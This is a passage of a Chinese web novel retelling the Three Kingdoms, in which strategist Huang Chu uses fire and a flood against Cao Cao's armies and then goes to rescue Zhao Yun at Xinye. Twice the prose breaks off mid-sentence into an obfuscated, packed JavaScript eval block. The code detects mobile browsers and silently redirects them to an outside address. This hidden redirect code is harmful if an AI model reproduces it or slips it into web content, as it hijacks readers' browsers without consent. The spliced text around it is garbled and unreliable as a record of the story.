刘琮只得与蔡夫人同赴青州,荆州旧将中只有王威一人相随,其余人只送行到营门外。 刘琮刚离开曹营不久,曹操便吩咐大将于禁,命他轻骑追杀。 蔡瑁在旁,连一丝不忍都未曾流露。不知是不敢流露,还是根本无动于衷。 “典韦,典韦……”曹操望着蔡夫人母子马车远去的方向,低声叹道:“若卿尚在,当知今日……” 在生死大事上,刘琮不算太蠢,他并未听话往青州方向走,而是趁着夜色遮掩,试图兜一个圈去西南方向:虽然不是有意投奔刘备,但到底能远离曹操掌控。 奈何马车行动不如骑兵迅速,于禁率兵急追,不多时便追上,大喝道:“我奉丞相令,教来杀汝母子!可早纳下首级!”蔡夫人在车中听见,抱着刘琮大哭。 这时一声炮响,不知从那里平地钻出一队人,约有百人之众,各擎火把。 于禁定睛一看,中间一名陌生将领,高挑着两面大旗,一面上书“糜”字,一面大书“黄”字。 “黄、黄楚!”于禁大惊。众兵士亦大惊。 黄楚,火把…… 听得远处又有骑兵动静,为首两名小将大叫:“爷爷刘封在此!”“爷爷关平在此!” 糜芳朗声笑道:“我军师神机妙算,果然被我等寻得。你是何人,敢在此地行凶,拿命来!” 若说是只看糜芳、刘封、关平三人,于禁未必放在眼里,或许策马上前搏杀,但若黄楚那妖妇在此……于禁犹豫不前,而身后士兵早萌生退意,一人策马至于禁身旁,说道:“刘备军至此,将军未知其虚实,不宜冒进,宜回军告知丞相。” 于禁纳谏,率队撤回,任由蔡夫人与刘琮被糜芳接去。 自然,曹操面前,他极力渲染刘备军容之盛,以逃脱失职罪责。 曹操并未追究。只是对于蔡瑁的疑心又重了三分。 是夜,程昱捧着地图进帐,见曹操正在擦拭佩剑。 程昱恭谨侍立在旁, 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曹操沉吟许久,说道:“又或许是黄楚的反间计……我军之中并无擅长水战之将领,若杀蔡瑁,五万水军在我手中亦不能发挥其应有之效,反而白白消耗军粮。明日传我军令,命蔡瑁明日启行回荆州,”曹操剑锋划过地图上的标记:“走白河。我大军明日亦同步开拔,开往博望。于禁胆怯,被区区几个火把吓怕。明日荡平博望,也好医一医众将士的心疾,免得一个个看见黄阿丑的名字就吓破胆。军心不稳,如何能胜敌军。” 糜芳护送蔡夫人和刘琮入博望城,说道:“我遵黄军师令,护送夫人与公子至此地安歇。二位放心,今夜曹军不会来攻。明日我派兵送公子至襄阳,至于夫人,军师有言,夫人可以自择去处。” 先是险些受辱,又在鬼门关走过一遭,蔡夫人惊魂稍定,落泪道:“我无别处可去,唯有与琮儿孤儿寡母相依度日。琮儿去哪,我便去哪。” 糜芳补充道:“军师说,乱世纷纷扰扰,夫人若想回娘家、从此不涉世事,可以送夫人去南阳,与令姊同住。” 回想起先前差点要杀掉黄楚,蔡夫人只觉无颜面对,衣袖掩面,泣道:“纵然姐姐与外甥女相容,我亦有何面目投奔。且琮儿年纪尚幼,身旁不能无人照顾。我随琮儿便是。” 糜芳道:“那夫人与公子早歇,明日送二位去襄阳。军师嘱咐说,还请二位安然停留此处,勿往别处逃去,否则军师不敢保证二位生死。” 蔡夫人和刘琮诺诺答应。 刘琮至襄阳,见刘备,劫后余生,涕泗横流,倒身便拜,谢他刘备搭救之恩,又谢先前投曹之罪。 刘备连忙上前扶住:“贤侄快快请起。”看着刘琮想起刘表,不免泪目道:“前事不必再提。我今日,总算对得住你父亲临终托孤之谊。”又引他至黄楚面前:“贤侄需多谢军师,若无军师神算,我如何能救得出贤侄与嫂夫人。” 刘琮又欲下拜,黄楚也没拦他,受了他这一拜。 刘琮道:“母亲说无颜来与军师相见,我便代母亲行礼,谢过军师。”又拜了一拜。黄楚也坦然受了,然后才扶他起。 刘备道:“为守兄长基业,我须力保荆州不落入曹操手中。贤侄须助我。” 刘琮忙道:“此乃侄儿分所应当。侄儿无能,全听叔父安排。待击退曹军之后,侄儿愿上书朝廷,请叔父接管荆襄九郡。” 刘备忙谦辞。 黄楚道:“此是后话了。在此之前,还请公子随我到荆州走一趟。” 25. 三烧博望坡 曹操大军逼近博望,前军十万人由于禁、李典率领,先行驻扎于博望坡,曹操率中军紧随其后,张辽、张郃各领兵五万在左右两翼,夏侯渊、夏侯惇共领兵十万殿后。 于禁、李典虽然嘴上不说,安营扎寨之后彼此对望一眼,皆看穿了对方心底的不安。 除了顾忌黄楚二烧博望坡的余威,于禁还比李典多了一重心结:建安七年,刘表派刘备向北进攻叶县,曹操命夏侯惇、于禁、李典三人率军抵抗,当时刘备便是驻军博望。一日,刘备突然烧掉营地撤退,夏侯惇率兵追击。李典曾劝阻说敌人无故撤退,怀疑有埋伏。且南边的道路狭窄、草木浓密,劝阻夏侯惇不要再追击。然而夏侯惇不理,命李典留守,自己和于禁一同带兵去追,果然中伏。若非李典及时带兵去救,后果不堪设想。 于禁叹道:“幸而昨日有雨,地皮潮湿。”虽没有将话挑明,却说出了二人对黄楚再次发动火攻的恐惧。 李典道:“刘备、黄楚狡诈多端,不可不防。你我二人在夜间也不可懈怠。文则(于禁的字),你我当轮流守夜。” 于禁这次对李典言听计从,连忙答应。 李典守前半夜,让于禁先休息。又训令哨兵加紧巡逻,其余兵士们也提高警惕,披甲枕戈,不可睡得太熟。 “黄楚……”入夜,寒意渐浓,霜风凛冽,李典在营门边踱步,蹴着脚下焦黑的泥土,仿佛时隔许久还能嗅得见此前大火的余烬:“黄承彦夫妇竟养得那样的好女儿。” 从前李典在茶余饭后隐约听说过黄楚的名字,传说样貌奇丑,久而未能出阁。也听说此妇年少时便有识人之明,在蔡邕之上,一首民谣羞得王粲辞官隐居多年。多年之后这个名字再出现,竟已经是威震一方的女军师,实在是出人意料。 此番驻军博望坡,刘备军至今没有动静,这令李典越想越觉得不安:这不合理,太不合理了。 昨日糜芳率军从于禁手上劫走了刘琮与蔡夫人,说明刘备一方对曹军动向清楚了然,绝非无知无觉。既然明知道曹军要来博望,为何至今没有任何反应?难道他们幻想能以小小一座博望城抵御四十万大军? 莫非是设了埋伏?博望的地形李典烂熟于胸,哪里能设伏,他一清二楚,倒是不惧。怕只怕黄楚这次的战术没有“埋伏”这么简单…… 夜色深沉,乌云密布,星辰隐没,冷风裹挟着湿气,吹拂着营地的每一个角落。 哨兵的身影在黑暗中若隐若现,警惕地巡视着四周,防备着可能的敌袭。 李典内心焦虑,坐立难安,在营帐内外来回踱步。 他期盼有什么动静出现,但又怕真有大事发生。他期盼今夜平安度过,但又怕此刻的平静背后是一场翻天覆地的暴风雨。 忽然远处传来几声战马的嘶鸣,马蹄疾驰,打破了夜的沉寂。 李典看见了星星点点跳跃着的火光正向前军大营迅速逼近。 哨兵连忙示警。 “袭营!袭营!”李典疾呼。 好在兵士们有所准备,并未慌乱,抓起兵器便出帐集合。 刘备军没有任何多余的动作,将抹了火油的羽箭点火,便往曹营内/射来。 李典见火,并不惧怕:此地杂草已清,近来潮湿多雨,土壤尚泥泞,纵然火攻点燃营帐,火势也不至于太过猛烈。 怎知那火箭落地,竟连泥土一道点燃,熊熊燃烧,登时遍地起火。 “见了鬼了!”于禁大叫。 曹军对黄楚本就惧怕,在博望坡见了火,更是吓得六神无主,登时四散奔逃。 兵士们一边逃命一边叫嚷:“都说了那个姓黄的妖女有妖术,能纵火!”“妖女杀来了!”“有妖术,快逃!”一时间混乱一片,相互拥挤踩踏。 李典挥剑斩了数人,勒令众人镇定,然而火势却难控制,各人仍各寻生路,疯狂逃命。 “怎么就起了火……”李典喃喃道。明明地面是湿漉漉的,也没有易燃的枯草树木之类…… 糜芳望见曹营火势大起,回顾诸兵士,笑道:“不枉我等去宛县费尽力气搜罗来石脂水!这把火放得真是神了!” 石脂水,又称石漆,即现代所称石油。 黄楚前番埋头苦学,翻阅诸葛亮收藏的地理志书时发现一处记载,称南阳郡宛县有沼泽,泽中有石脂水,黑褐色,虽然是水但可燃烧,黄楚便猜想是天然石油,赴襄阳前便托糜家兄弟重金买下矿藏,派兵挖取。 古人用石脂水来照明或润滑车轴,黄楚则命人用石脂水浸饱木炭灰渣,拌进了博望坡的泥土里。纵然下雨稍有冲刷,油轻水重,油浮于表面,并未沉底,因此遇火照样燃烧。 石脂水并不多见,哪怕在勘探技术发达的21世纪,华夏境内也属珍贵的资源,因此远道而来的曹军之中并无认得的人,看见土地黝黑,只当是先前两次烧焦的缘故。 暗夜之中,火龙蔓延,仿佛鬼魅。 火苗虽不甚高,未必如前两次大火一般足以将人活活吞没,但因兵士阵脚大乱,踩踏致死无数。 这一战,与其说曹军众人死于火焰,不如说是死于心魔。 一夜过后,曹军死伤惨重,前军十万人,折损过半。 李典和于禁灰头土脸向曹操请罪,但却仍未想明白这湿冷天气里火是如何烧起来的。 在同一个地方,被黄楚纵火烧了三次。曹操痛心之余,怒意如烈火般爆燃,拔出青釭剑愤愤杵进地中:“妖妇……吾誓擒刘备黄楚,杀之以祭阵亡将士!” 曹操下令重编前军剩余将士,仍以李典、于禁打头阵,进军博望城。 博望城门大开。百姓往来不绝,仿若无事。 城门两侧,小贩们摆开摊位,吆喝声此起彼伏。蒸饼锅上香气弥漫,炭火炉上烤着的黍米糕散发着诱人的焦香,摊前围满了妇人孩童。又有老者售卖着干果与蜜饯。 怎么看,都不像战时。 听说刘备在博望,爱民如子,总不至于令老弱妇孺出来做障眼法吧?可若不是障眼法,此时大战在即,刘备不事先通知百姓撤离、也不戒严么? 李典生性谨慎,停在城门外百步远,一时不敢擅入。 于禁原本押后,见军队停滞不动,策马至前部,问李典何故。李典说出心中考量,于禁为难道:“若大军不进城、驻于郊外,更加危险。刘备重视名声,必不至于拿百姓做挡箭牌。听闻先前他转去襄阳时,有许多百姓追随他同去,或许是因为剩下的百姓并不心向他,他便抛却了这些人。将军若心下不安,不妨奏报丞相,请丞相定夺。” 曹操下令入城,于是李典等人率兵进驻。进入城中后,李典派兵将城中角角落落各家各户严格搜查,未发现有任何疑似刘备伏兵的人,也未发现兵营附近有易燃之物。 “城门一关,便将我军与这满城百姓锁在一处,刘备秉性仁柔,下不了狠手,总不至于焚城。”于禁道。 李典仍不心安,喝令诸人今夜不睡,以防生变。 但这一夜,静谧安然,竟无事发生。 第二日,百姓们仍是照常走动。 李典疑心大起,在街上随机抓了几名百姓来盘问。几人供称:“糜将军昨日黄昏时分敲锣打鼓发了布告,说玄德公顾念大家生计,不会在博望城与曹贼开战,让乡亲们安心。只要大家别出城太远就好。” 皆是街上寻常百姓,称刘备为“玄德公”,而称曹操为“曹贼”,可见刘备在此处深得人心。李典放几人离去,说道:“曹公仁爱,只要众人不与曹公为敌,曹公亦不会在此城开战,众人照旧安心便是。” 有个老头儿临走还嘴碎:“我们只念玄德公的情。” 李典、于禁率一万五千人留驻博望,其余人马途径博望时补充粮草供给并重新整编,改以左翼张辽所率五万人为前军,继续南下,进攻新野。 阴雨天气,铅灰色的云层低垂,压得人喘不过气来。关羽率兵埋伏于白河上游河谷山间。赤兔马跪在主人身旁,口中衔枚,安静无声,仿佛久经沙场的沉稳老将。关羽一手轻抚马鬃,目光如电,注视着下方蜿蜒的白河。河水在阴云下泛着铁青色的光,宛如一条巨蟒在山谷之间穿梭。 一千精兵随关羽隐于两岸草木丛林中,每人身后都堆着鼓鼓的沙袋。这些沙袋用特制的麻布紧密缝制,内填河沙,外涂桐油,既防水又结实。士兵们屏息凝神,连呼吸都放得极轻,生怕惊动了河面上游弋的水鸟。 “将军,蔡瑁船队已至。”士兵躬身上前,压低声音来报。 关羽微微颔首,丹凤眼眯成细缝。他举起右手往下一压,做了个“趴低”的手势。 远处传来隐约的号角声,正是蔡瑁水军的信号。河面上出现数十艘战船,船头的旌旗在阴风中猎猎作响。 战船缓缓驶过,待到最后一艘消失在河道拐弯处,关羽扬手一抬,一千精兵如蚁群般涌向河床。他们动作迅捷而有序,从河岸向河中将沙袋层层垒起。沙袋与沙袋之间用麻绳紧紧捆扎,几个时辰功夫便筑起一道三丈多高的堤坝。 河水被阻,水位以肉眼可见的速度飞快上涨。关羽立在高处,静静看着。 “报!曹军先锋张辽率军自博望方向来,已近新野!”探马急报。 听见张辽名字,关羽抚髯沉吟,吩咐道:“再探!” 又过了些时候。 “报!曹军已到新野城下!” 关羽转身,赤兔马仿佛与他心意相通,当即立起。关羽翻身上马,振臂大呼:“来人,与本将军撤去布袋!”士兵一拥而上,在沙袋四处崩裂的轰鸣声中,积蓄数丈的河水化作白龙扑向下游尚懵然无知的曹军。 张辽此时河边饮马,他隐隐觉得有些奇怪:虽然冬季是枯水季,但新野附近连日阴雨,按理说河道不该如此干涸。 且蔡瑁水军与他同步启 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486243|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,按理说不过比他早几个时辰到达此地。几十艘战船都能安然通过的水位,该不是眼前这样…… “不好,有埋伏!”张辽猛然醒悟,飞身上马,连忙号令大军向西撤去,远离白河。 话音未落,山洪自东北方向滚滚而来,吞噬地面万物,声势滔天,震得方圆数里地动山摇。 “撤!快撤!”张辽扬声大喊,但为时已晚。战马嘶鸣与士卒惨叫顿时响彻天际,甲衣浸水后沉重如枷,登时便有数千曹军如蝼蚁般被卷入激流。 大水还在无情漫延,关羽一马当先冲下山坡,赤兔马踏浪而行,疾驰如飞。青龙偃月刀过处,血浪翻涌。张辽连忙率兵寻水势缓慢处奔逃,五万曹军被一千敌兵逼得节节败退。 河水逐渐被染成血色。 关羽率部踏过地上曹军的尸体乘胜追击,只见前方“张”字大旗下有一将军,铁胄歪斜,满脸血污,却仍擎着一杆断头枪竭力收拢败兵,正是张辽。 关羽心中掠过一丝不忍。 虽与张辽效力不同阵营,但二人惺惺相惜、结为挚友,且张辽昔日于他有恩。 张辽也看见了关羽。他面上露出认命的坦然,甚至还冲关羽悲凉地微微笑了一下。 “云长,你我各为其主,不必留情。”张辽勒马,提着断枪,犹欲与他对战。 关羽默然。俄而,青龙偃月刀刀光忽转,劈断那杆残破的“张”字帅旗。旗杆轰然折断的巨响中,关羽调转马头,丹凤眼睨向远方,说道:“汝无趁手兵器,此刻与汝交战,吾胜之不武,来日再取汝头。” 张辽知他情谊,郑重抱拳道:“云长,后会有期。” 曹军残部逃往博陵渡口,未见关羽追赶,以为逃出生天,却不料张飞的丈八蛇矛已在此恭候多时。张飞大叫一声“曹贼快来纳命”,便率军冲锋,瞬间将张辽艰难收拢的残兵败将杀得七零八落。多少人奔命至此还没平息气喘,顷刻间便倒在张飞长矛之下。 张飞在乱军中看见张辽的狼狈模样,猜测是二哥心软放了他一条生路,否则他绝对无法脱逃至此,于是说道:“尔昔日待俺二哥有恩,便是于俺有恩,今日放尔逃命,来日必不相饶!” 张辽含泪离去。 张飞率五千人横冲直撞,直杀到与关羽的一千兵马汇合,再按黄楚安排,平分兵力,各自朝东西方向兜远,往北行军。 河水渐渐退去,露出新野城外横七竖八地躺着的流血的人体和破损的兵器,映着自重重乌云的缝隙中射出的如血残阳,仿佛末日景象。 曹操在中军,接报大骇,问清探子前军伤亡,又问张辽何在。然而前军经过关羽张飞两次冲杀,早已溃不成军,众人皆如鸟兽散,哪里还有人辨得清主将方位。 战后盘点,五万大军,幸存者不足千。恐怕张辽凶多吉少。曹操痛心不已。 程昱在旁安慰道:“主公莫急。张文远将军与关羽情谊深厚,且昔日于关羽有大恩,关羽重情义,想必能饶文远一命。” 曹操道:“怕只怕……”他没有将后半截说出口。这时听得帐外急报:“启禀丞相,张辽将军回来了!” 曹操连忙出迎,只见张辽浑身是血,望他倒地便拜:“罪将张辽,作战不利,以致全军覆没,愧对丞相所托……甘心受罚,任丞相军法处置!” 曹操叹道:“作战不利,并非尽是文远你的过失。我身为主帅,竟落入大耳贼与那妖妇的圈套,是我愧对将士。原当以死谢罪,但若我身死,群龙无首,所以——”话音未落,他抽出佩剑,剑光一闪,一缕胡须飘然落地。 “主公!”张辽扑倒在地,声音哽咽:“末将罪该万死,怎能让主公……让主公……” “文远不必多言。”曹操收起宝剑,弯腰扶起张辽:“行军打仗,向来应当赏罚分明。既然是我之过,自当由我承担。”他转身面对众将,声音洪亮:“今日之事,望诸位引以为戒。用兵之道,当慎之又慎。我今日割须明志,望诸位同心协力,剿平逆贼,共图大业!” “谨遵主公教诲!” 大水过后,新野城外,泽国一片,已不能驻军,大军若想在附近休整,必须进城。 探子回报,说新野城“四门洞开,军营灶灰尚温”。 程昱道:“此事蹊跷。前番刚刚大胜,却又撤走,白白让出一座博望县城,却未设埋伏。这次在新野原样重演,实在不合常理,恐怕有诈。” 曹操听罢,冷笑一声,向程昱道:“那妖妇在赌。赌我见博望城无事发生之后敢不敢进驻新野。” “丞相的意思是……” “我军当然要进驻。上好的一座城池,已落入我囊中,为何不要。”曹操道:“只是,这次大军不只进驻,还要围城。传令下去,十万中军,两万五千人进驻新野,余下七万五千人,于外/围将新野城围了,一只蚂蚁也不许放出去!” 襄阳城中,诸葛亮右眼皮狂跳。 26. 孔明示警 诸葛亮右眼皮狂跳。但根本没人看。 黄楚忙于军务,正在刘备那里议事;书童高洋被迫学习武术中;两个嬷嬷,一个练武,一个看书。诸葛亮的眼皮跳了好久,发现根本没人搭理,只能躺在那心急如焚。 终于高洋进门一次,还是来取一条麻布手巾,根本没瞥见他家先生眼皮在跳。 李嬷嬷也进来一次,她自己练武练了一身汗,进屋觉得屋子闷,开窗通风,开完窗看见姑爷右眼皮狂跳,以为姑爷的意思是不要开窗,李嬷嬷还念叨:“跳一下就行了,我就知道关窗了,还非要跳那么多下。会说话的时候就话多,结果不会说话了,跳眼皮跳得也多。”碎碎念地关上窗,懒得看他,就关门出去了。 幸好汪嬷嬷心细,听李嬷嬷抱怨,说道:“可别是病了?或者快要醒了?还是去看看吧。” 结果诸葛亮隔着房门听见李嬷嬷把她拦住了:“看啥看,咱们姑爷就是个碎嘴子,你又不是不知道。” 汪嬷嬷看书看在兴头上,本就不太想动,闻言就坐住了。 万幸万幸,梁爽今日从日头西斜开始,心里便总是不宁,说不上是什么原因。 原本是在商议军务,刘备看黄楚脸色不对,怕军师生病,忙叫医者来给她把脉,医者皱着眉头摸了好久,都没发现哪里不对,只好开了些宁神的药。 孙乾道:“或许是军师近来太累了,早些回去歇息罢。”他年纪与黄承彦相当,看黄楚就像看一个很有出息的女儿一般,是老父亲心态。 刘备也连忙附和:“大战在即,劳累军师了。既然计策已定,还请回宅休息。” 梁爽便答应了。 回到家,看家里一片欣欣向荣——两个人在强身健体,一个人在学习知识——梁爽心里还挺欣慰,结果进了卧房,看见孔明眼皮在狂跳。 不是一般的跳,是狂跳,是跳得快要出残影,是跳得快要擦出火星,是跳得像榜期即将到期但还没更满一万五千字的晋江作者敲键盘的手,是但凡有人看见他这个跳法都能看得出孔明是在玩命地提示什么。 梁爽:……外面三个人是吃干饭的吗,这都没看见,在外面给我整得歌舞升平的…… 问他:“身体不舒服?” 右眼皮跳。 排除身体因素,梁爽稍稍安心。 又问他:“会有不好的事发生?” 左眼皮跳。 梁爽微微有些吃惊,继续问:“打仗的事?” 左眼皮跳。 梁爽开始起冷汗:“曹操?” 左眼皮跳。 “是关于今天的作战安排么?” 左眼皮跳完右眼皮跳。 意思是,是今天的,但不止是今天的。 是今天但又不止今天——梁爽感觉头皮一阵发麻:“难道是新野?!” 左眼皮跳。 现在已经是黄昏时分,关羽张飞的仗想必已经打完了,关平刘封的每日例行骚扰任务也已经完成,剩下的,就只有天黑之后行动的赵云、糜芳和与他们一道潜伏在新野城的五千士兵了。 梁爽只觉两眼一黑,眼前乱冒金星,腿软得站不住,勉强伸手扶住墙,慢慢坐到地上,同时大脑不停地思索计划的纰漏可能出现在哪里。 如果我是曹操……如果我是曹操……白河……博陵渡口……问题在哪里……博望……就算他起疑心,无非是不进城、加速行军到襄阳城外平原驻扎,那我正好形成包围,也不惧他……问题出在……他可以既不进城、也不行军,而是—— “你是猜测,曹操可能假装上当,故意派一部分兵进城,然后在城外设好包围圈,等赵将军他们今夜行动时,他好在新野城内反打么!” 孔明左眼用力跳了跳。 “你有什么对策?”一想到两位将军和五千将士即将落在曹操手里,梁爽快哭了。 然而孔明却不可能直接回答。 梁爽只能自己思考。 可她手里兵力十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486244|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分有限。白河水攻已经用过,火攻用的石油已经用完,来不及补充新的。从外部夜袭,曹操必然早有准备,没用。要想靠包围战将曹操困死,那需要至少半月的时间,半个月后小赵将军坟头草都已经一尺高了。 她是一个只学了几个月兵法、经过诸葛亮一点点调/教的人,此刻已经黔驴技穷。 又或者,哪怕是老谋深算的宿将,此刻都未必有尽快救出新野伏兵的办法。 怎么办? 她既然身为军师就必须承担起责任。 担责任……对! 她想到了。 办法跟孔明说,孔明右眼皮跳。 梁爽道:“我不是问你这个方法你同不同意我做,我是问你,这个办法,是不是很有机会救出赵将军他们。” 孔明静默许久,左眼皮跳了一下。 “好。” 孔明右眼皮又狂跳。 “别跳啦,”梁爽说:“再跳,你右眼皮要废了。我意已决,你老实呆在这里,我会平安回来。” 孔明右眼皮还跳。 梁爽叹道:“听话。我是军师,我必须这么做。我不能让赵将军他们为我的错误买单。你是古代人,你是能狠下心的男人,或许能做一个牺牲少数成全多数的决定,但我是现代女人,我办不到那样。我的良心不允许。我知道有些人暗地里骂我‘妇人之仁’,或许连你也会嫌我,但我觉得‘妇人之仁’是很美好的东西,它不应该是一个贬义词。如果世上的人全部都有所谓‘妇人之仁’,天下就不会有战争了。天下大同,天下为公,那是我的理想,我希望也会成为你的理想。虽然它不太现实……但理想正因为不现实,所以才是理想。” 孔明沉默,过了一会儿,左眼皮跳跳。 梁爽含泪一笑,说道:“你放心,我说会回来,就一定拼尽全力回来。你省省你的脑力,好好休息。等我回来的时候,让我看到你又比从前康复一点,好吗?” 左眼皮跳。 27. 曹操初相见 “大哥!军师真是妙计!这把火俺和二哥放得真痛快,曹老贼的粮食俺们全给他烧了,烧得干干净净。俺带着兵杀过去,还顺道斩了数千贼兵!”张飞按黄楚的计策烧完曹军后方辎重,兴冲冲回来,却见屋子里气氛不对。 自家大哥看向他时,满脸写着“天塌了”三个字。 稍稍一问,原来是军师担心赵云和糜芳等人在新野城被曹操大军围困。 张飞听说赵云兄弟身处险境,脸上的笑登时没了。又听说军师要只身去曹军阵前哄骗曹操,更是不知所措。 刘备则继续劝黄楚:“怎可让军师如此冒险?军师此去,若被曹贼识破,当场擒拿,他必不会放军师生还。备之大业、与麾下数万将士性命还仰仗军师筹谋,若军师有差池,可如何是好?孔明先生尚在病中,也靠军师照料。” 梁爽掏出一个锦囊,说道:“若我遭逢不测,请主公按此计行事,必能保全。” 刘备幽幽道:“记得军师给我的上一个锦囊,里面没写别的,写的是让备逃命时记得带上诸葛先生。”纯纯的道德绑架。经历了上一回,刘备对黄楚给的锦囊起了戒心,不敢轻易信她的鬼话。 梁爽嘿嘿讪笑:“上回是情况特殊……” 刘备:“军师的锦囊外皮都没换,跟上次的一模一样……” 梁爽红了脸不好意思地挠头笑笑,把里面写着让刘备逃命去东吴做赘婿时务必再带上诸葛亮的锦囊揣回了怀里——不过这回至少在托付诸葛亮的时候她确实有给刘备指一条生路。 刘备舍不得赵云,也舍不得黄楚。一个是猛将,一个是军师。 少了赵云,这仗虽然会打得吃力,但至少还能继续打;少了黄楚,后面他真不知道能怎么打什么样,毕竟和曹操兵力太过悬殊,不靠黄楚的神诡计谋,实在太难了。 目前的情况,是赵云凶多吉少,就算搭上黄楚,也未必能把他救出来。对刘备来说,最好的办法是及时止损,禁止黄楚前往。 然而赵云是他的兄弟。 兄弟义气,他舍不得。子龙历经千辛万苦追随他至此,他决无理由抛弃子龙。 刘备进退两难。 张飞知道大哥的心思,便道:“哥哥若不放心,俺陪着军师便是。” 梁爽忙道:“此去我并无十成胜算,若搭上张将军……” 张飞豪爽一笑:“打仗向来七分靠人、三分靠天,何时有过十成胜算的仗?” 梁爽道:“我近来时时出纰漏,我怕……” 张飞道:“俺相信军师。” 梁爽眼角一烫,热泪在眼眶里打滚。 张飞一个糙汉,最怕看女人掉泪,连忙背过脸去,说道:“俺等军师吩咐。” 有张飞在,刘备稍稍安心。于是梁爽调整计策,争分夺秒安排下去,派人快马去向驻扎白河附近的关羽报信,称计划有变。然后和张飞带五千襄阳兵立即出发,开往新野。 至于赵云和糜芳,鉴于新野城大概率已经被围,刘备方面几乎不可能在不打草惊蛇的情况下通知他们,因此只能任他们在三更时照原计划行动,而其余人则配合他们的行动时间。 入夜,残月半隐在灰云之后,几粒寒星孤悬天际,野地间浮着一层冷雾。曹操勒马立于高坡,玄色大氅被风振动作响,身后大军如黑潮般无声漫过山野。新野城蜷伏在视野尽头,城墙轮廓模糊,像一头陷入笼中的兽。 曹军已有两万五千人进驻城中,剩余七万五千人则潜伏在外/围。 新野西南多丘陵,最适合埋伏隐蔽。阵中不见火把,唯有兵甲偶尔擦出星点冷光。重甲兵持丈二长戈,列成一道密不透风的铁棘林,随时可将新野城死死锁住,令任何人无法从包围圈中逃脱;弓弩手隐于坡上半人高的荒草丛,箭镞微微上挑,对准城墙垛口;骑兵卸了马铃,战马衔枚,马蹄裹着粗麻布——只等城内火起,便要踏碎城门。最近结束的战斗都太过狼狈——刚刚还被刘备军队烧了后方辎重——现在曹军上下一心,所有人都由曹操一口气撑起,同仇敌忾,誓要拿城中赵云等人的头颅雪耻报仇。 曹操的手一遍又一遍锊过须髯,他说服自己耐心静静等待时机。等待最为煎熬,但那报酬值得。 夜雾越来越浓,草叶凝满霜粒。荆襄之地到这等时节,夜间已经很冷。伏在壕沟里的曹兵呼吸间哈出水汽,仿佛能听见水雾凝在自己睫毛结冰的细响。新野城头梆子声每隔半刻便敲一次,单调得像钝刀刮骨。 一更。 二更。 快要三更。 更深的夜从地缝里渗出来。曹军阵中开始有战马不安地踏动铁蹄,仿佛感应到了城内的躁动。曹操缓缓回身,向诸将笑道:“诸位可曾听见?常山虎(赵云籍贯常山)的爪子在挠棺材板了。” 北风骤紧,吹散半天云雾,惨淡月光如银汁泼在七万五千具铁甲上,照见一片森冷的死亡之海。而曹操的剑终于出鞘三寸,即将以寒光割裂夜幕。 未及三更,这时忽然从襄阳方向来了大股骑兵,高举火把,不往新野城去,而是直奔曹营而来,喊杀声震天。从曹军视角望去,远处火把密密麻麻,竟似有万点流火,几乎要将天地照亮。马蹄扬起尘土,遮蔽天际。 看阵势约有数万兵马。 曹营诸将心里不免犯嘀咕:“这阵势……莫非刘表旧部全投了刘备?那蔡瑁……” 只见敌军前锋一员猛将,骑在高头大马之上,丈八蛇矛挑着一串浸透松脂的草球,火舌几乎舔着他虬结的须发,把那张浓眉大眼的面庞映成庙里阎罗的模样,背后“张”字大旗在黑暗中猎猎翻卷。乃是大将张飞。 张飞身旁,则有一辆马车,一人从车中被人搀扶下来,五官小小的,个子高挑,身着深衣,外披大氅,头上简单盘着一个椎髻,是妇人装束。 她不紧不慢徐徐下了车,旁边的兵士扬起一面旗帜,乃是“黄”字。 “这就是黄楚!”曹营上下人等不由得在心中各自暗呼。 黄楚,加上火把……众人心底已经暗暗生怯,开始各自盘算生路。 “这,就是黄楚。”曹操说这话时,众人看不清他神色,亦听不出他是愤恨还是欣赏。 张飞勒马立住,蛇矛指天暴喝:“燕人张翼德在此!曹贼可敢与爷爷战够三百回合!”声浪回荡在荒野之中,震得众人心底簌簌地响。身后将士齐吼应和,吼得地动山摇。 梁爽也扬声道:“曹贼!屡尝败仗,还不快束手投降!我主公饶你不死!(此处省略问候曹操祖宗十八辈的脏话数百字)” 夏侯惇听了,骂道:“他爷爷的!刘备属下说话一个比一个脏!”他前些日子刚被刘封和关平给骂了。而且还没骂回去。 程昱生怕曹操冲动,在旁忙劝:“主公!万勿中那妖妇的激将法!她刻意挑衅,必然有诈!且此次他们兵马甚多,怀疑是全盘接收了刘表旧部,主公万万不可小觑!” 张飞和黄楚骂完,掉头就撤。 曹操原地沉吟,虽然怒气填胸,但因生性谨慎多疑,并不下令去追。 见曹操久久沉默,于禁试探着问道:“主公,咱们……” 曹操道:“按兵不动,静观其变。” 等了片刻,张飞和黄楚又折回,听得黄楚笑道:“曹贼,你既然不敢来追,说明你没有胆量。既然没有胆量,不如早点回老家洗洗睡吧,粮草都烧没了,新野城你又不敢进,你在这耗着,耗得起么?” “妖妇休要猖狂!”夏侯惇怒骂。 曹洪与曹仁策马上前到曹操身边低声道:“主公,当时在安林,刘封和关平便是如此,反复挑衅,最后……属下等怕她故技重施。” 说话间,黄楚和张飞又撤。 曹操举棋不定。 主帅的犹疑,带来属下的不安。空气中弥漫的不安传递到每个无名小卒的身上,那便演化成了对死亡的恐惧,对战死异乡、再也见不到挚爱之人的恐惧。 空气中任何一点风吹草动都被无限放大。 明明是曹军包围了新野,他们却感觉自己被无数敌军包围。 